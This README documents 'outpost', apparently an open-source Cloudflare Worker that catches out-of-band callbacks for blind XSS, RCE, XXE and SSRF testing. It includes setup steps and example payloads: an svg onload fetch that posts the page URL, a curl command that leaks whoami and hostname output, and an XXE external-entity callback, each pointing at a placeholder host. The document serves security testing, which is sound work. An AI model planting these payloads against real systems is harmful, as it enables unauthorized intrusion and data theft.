outpost

A lightweight Cloudflare Worker that listens for out-of-band callbacks and fires instant notifications via Discord and ntfy. Built for Blind XSS, RCE, XXE, and SSRF testing.

Unlike Burp Collaborator which expires with your session, or disposable webhook sites that delete after 24 hours - outpost stays up and running. For instance a blind XSS payload you plant today might trigger days or months later, you never know. With outpost running on your own domain or a cloudflare worker, you'll get that ping no matter when it fires.

---

How it works

Plant a payload pointing to your outpost url. When the target hits it, you instantly get notified on Discord and your phone via ntfy with the full request details - ip, country, user-agent, referer, method, and body. POST request bodies are captured too, useful for exfiltrating page content or cookies via a blind XSS payload.

POST body capture limit is capped at 500 characters by default in worker.js. This is intentional because discord embeds have a 4096 character limit and large payloads can cause the notification to fail silently. You can increase it in worker.js but keep the discord limit in mind.

---

Demo

---

Endpoint

/ping/<tag>

Use <tag> to identify which payload fired.

https://yourworker.workers.dev/ping/xss-target
https://hook.domain.xyz/ping/rce-@cmd

---

Setup

Before anything, sign up at cloudflare.com. After signing up, you can find Workers under the dashboard sidebar - Build > Compute > Workers & Pages.

---

Without a domain (workers.dev)

Quickest way to get started. Cloudflare gives every worker a free *.workers.dev subdomain.

1. Install Wrangler

npm install -g wrangler
wrangler login # authenticate with your Cloudflare account

2. Clone the repo

git clone https://github.com/hoodietramp/outpost.git
cd outpost

3. Set secrets

wrangler secret put DISCORD_WEBHOOK
wrangler secret put NTFY_TOPIC

4. Deploy

wrangler deploy

workers_dev is already enabled in wrangler.toml included in the repo - your worker will be live at:

https://outpost.<your-cf-subdomain>.workers.dev/

---

With your own domain

1. Install Wrangler

npm install -g wrangler
wrangler login # authenticate with your Cloudflare account

2. Clone the repo

git clone https://github.com/hoodietramp/outpost.git
cd outpost

3. Configure wrangler.toml

Uncomment and update the routes block with your domain:

[[routes]]
pattern = "yourdomain.xyz/ping/*"
zone_name = "yourdomain.xyz"

To use a subdomain like hook.yourdomain.xyz, first add a DNS record in Cloudflare:

Type  : AAAA
Name  : hook
Value : 100::
Proxy : ON

Then set your route to hook.yourdomain.xyz/*.

4. Set secrets

wrangler secret put DISCORD_WEBHOOK
wrangler secret put NTFY_TOPIC

5. Deploy

wrangler deploy

---

Discord webhook

1. Create / Open your Discord server
2. Channel settings - Integrations - Webhooks - New Webhook
3. Copy the URL and use it as DISCORD_WEBHOOK

---

ntfy

1. Install the ntfy app (Android / iOS)
2. Subscribe to your topic name (same as NTFY_TOPIC)
3. Done

Make your topic name hard to guess - ntfy.sh free tier is public by topic name and stores messages for 12 hours.

---

Example payloads

Blind XSS - url exfil via inline fetch

<svg/onload=fetch(`//hook.domain.xyz/ping/x`,{method:`POST`,body:location.href})>

Discord notification:

🧪 ping - xss-exfil

Endpoint : /ping/xss-exfil
Method   : POST
IP       : 10.10.10.10
Country  : AU
UA       : Mozilla/5.0 (Windows NT 10.0...)
Referrer : https://target.com/admin/dashboard
Time     : Mar 19, 2026 12:55:34 AM
Body     : https://target.com/admin/dashboard

---

Blind RCE - exfil command output via tag

curl "https://yourworker.workers.dev/ping/rce-$(whoami)@$(hostname)"

ntfy notification:

ping - rce-www-data@targethost

Endpoint : /ping/rce-www-data@targethost
Method   : GET
IP       : 10.10.10.10
Country  : SG
UA       : curl/7.88.1
Referrer : -
Time     : Mar 19, 2026 1:10:02 AM

---

Blind XXE - OOB callback

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "https://yourworker.workers.dev/ping/xxe-target">]>
<root>&xxe;</root>

---

Local testing

wrangler dev

Worker runs at http://localhost:8787. Create a .dev.vars file with your secrets:

DISCORD_WEBHOOK=https://discord.com/api/webhooks/your/webhook
NTFY_TOPIC=topic-name

you can test with:

curl "http://localhost:8787/ping/test-$(whoami)"
curl -X POST "http://localhost:8787/ping/test-post" -d 'secret=secret'

Never commit .dev.vars.